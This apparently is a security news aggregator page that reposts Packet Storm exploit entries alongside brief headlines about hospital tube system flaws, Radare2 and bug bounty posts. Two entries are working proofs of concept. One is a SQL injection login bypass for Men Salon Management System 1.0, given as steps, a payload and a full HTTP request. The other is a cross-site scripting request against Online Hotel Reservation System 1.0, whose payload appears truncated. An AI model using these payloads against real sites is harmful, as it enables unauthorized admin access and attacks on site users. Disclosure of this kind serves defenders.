Exploit Collector
Online Hotel Reservation System 1.0 Cross Site Scripting

https://4.bp.blogspot.com/-B5GiRC1v-wQ/WWlu5E53nEI/AAAAAAAAIJE/W3BLkm7Hy_YnB0vtTzhGYY_ZESaF8C84ACLcBGAs/s1600/h105.png
Online Hotel Reservation System version 1.0 suffers from multiple cross site scripting vulnerabilities. Original discovery of cross site scripting in this version is attributed to Mesut Cetin in January of 2021.

MD5 | 0edf6c9cc89607788d24c82489b990e2

Download
# Exploit Title: Online Hotel Reservation System 1.0 - 'Multiple' Cross-site scripting (XSS)
# Date: 2021-08-02
# Exploit Author: Mohammad Koochaki
# Vendor Homepage: https://www.sourcecodester.com/php/13492/online-hotel-reservation-system-phpmysqli.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/marimar.zip
# Version: 1.0
# Tested-on: Ubuntu 20.04.2 LTS, PHP 7.4.3

### This application is prone to a cross-site scripting in the 'arrival' and 'departure' parameters at the following path:
- http://localhost/marimar/index.php?p=booking

### Payload: ">
### PoC:

POST /marimar/index.php?p=booking HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
Firefox/78.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Origin: http://localhost
Connection: close
Referer: http://localhost/marimar/index.php?p=booking
Cookie: PHPSESSID=9ck943m19rugu8d7q7d6mh6fnt
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1

arrival=">&departure=">&person=0&accomodation=0
Source:packetstormsecurity.com

Exploit Collector
Men Salon Management System 1.0 SQL Injection

https://4.bp.blogspot.com/-5kb4UTwsKkE/WWlvjussFoI/AAAAAAAAIQs/uqojaqb90NcMo4ROOoH-c5uvdKeDdbGswCLcBGAs/s1600/h94.png
Men Salon Management System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | 0ff477e555550da6dc8a150460ace2e3

Download
# Exploit Title: Men Salon Management System 1.0 - SQL Injection Authentication Bypass
# Date: 2021-07-30
# Exploit Author: Akshay Khanna (ConfusedBot)
# Vendor Homepage: https://phpgurukul.com/men-salon-management-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/men-salon-management-system-using-php-and-mysql/
# Version: 1.0
# Tested on: Windows 10/Kali Linux

*POC*

Step 1 - Go to URL http://localhost:8080/Men/Salon/Management/System/Project/msms/admin/index.php
Step 2 – Enter anything in username and password
Step 3 – Click on Login and capture the request in the burp suite
Step4 – Change the username to admin ' or '1'='1'#
Step 5 – Click forward and now you will be logged in as admin.

REQUEST

POST /Men/Salon/Management/System/Project/msms/admin/index.php HTTP/1.1
Host: localhost:8080
Content-Length: 67
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8080/
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer:
http://localhost:8080/Men%20Salon%20Management%20System%20Project/msms/admin/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=fmo6opiohab5jf02r13db3f459
Connection: close

username=admin+%27+or+%271%27%3D%271%27%23&password=a&login=Sign+In

Source:packetstormsecurity.com

Exploit Collector
SQLMAP - Automatic SQL Injection Tool 1.5.8

https://1.bp.blogspot.com/-ioJ53oCx49I/WWlvK_l1r2I/AAAAAAAAIMA/qrzTnRYsG8QUcC_eXdokNXQ8WpqzEpJrACLcBGAs/s1600/h16.png
sqlmap is an open source command-line automatic SQL injection tool. Its goal is to detect and take advantage of SQL injection vulnerabilities in web applications. Once it detects one or more SQL injections on the target host, the user can choose among a variety of options to perform an extensive back-end database management system fingerprint, retrieve DBMS session user and database, enumerate users, password hashes, privileges, databases, dump entire or user's specified DBMS tables/columns, run his own SQL statement, read or write either text or binary files on the file system, execute arbitrary commands on the operating system, establish an out-of-band stateful connection between the attacker box and the database server via Metasploit payload stager, database stored procedure buffer overflow exploitation or SMB relay attack and more.

MD5 | 6cac13f4e9cef5996f15944cf4d0b0a0

Download
Source:packetstormsecurity.com

Dark Reading: Attacks/Breaches
Multiple Zero-Day Flaws Discovered in Popular Hospital Pneumatic Tube System

"PwnedPiper" flaws could allow attackers to disrupt delivery of lab samples or steal hospital employee credentials, new research shows.

Kali Linux Tutorials
Radare2 : UNIX-like Reverse Engineering Framework And Command-Line Toolset

Radare2 is a rewrite from scratch of radare. It provides a set of libraries, tools and plugins to ease reverse engineering tasks. The radare project started as a simple command-line hexadecimal editor focused on forensics, over time more features were added to support a scriptable command-line low level tool to edit from local hard drives, […]

The post Radare2 : UNIX-like Reverse Engineering Framework And Command-Line Toolset appeared first on Kali Linux Tutorials.

Spores’ Marketplace Testnet & Bug Bounty Program
https://medium.com/spores-network/spores-marketplace-testnet-bug-bounty-program-85159bf6dd5?source=rss------bug_bounty-5

Community SpaceContinue reading on Spores Network » (https://medium.com/spores-network/spores-marketplace-testnet-bug-bounty-program-85159bf6dd5?source=rss------bug_bounty-5)

XSS is Dead. We just don’t get it.
https://securitygoat.medium.com/xss-is-dead-we-just-dont-get-it-b1a8cfc43733?source=rss------bug_bounty-5

XSS is dead for so long now but we still don’t get it! We have all the tools and knowledge but still keep popping alerts for money! Why…Continue reading on Medium » (https://securitygoat.medium.com/xss-is-dead-we-just-dont-get-it-b1a8cfc43733?source=rss------bug_bounty-5)

Hacking on Medium
TryHackMe | Startup

Hello all, It’s been a while since I posted, I’ve been hanging out on Portswigger and learning stuff. I’ve been lazy but I’ve been…

Continue reading on Medium »

Hacking on Medium
XSS is Dead. We just don’t get it.

https://cdn-images-1.medium.com/max/735/1*ic2Bhh2ek1xwYubNgdpbaA@2x.png
XSS is dead for so long now but we still don’t get it! We have all the tools and knowledge but still keep popping alerts for money! Why…

Continue reading on Medium »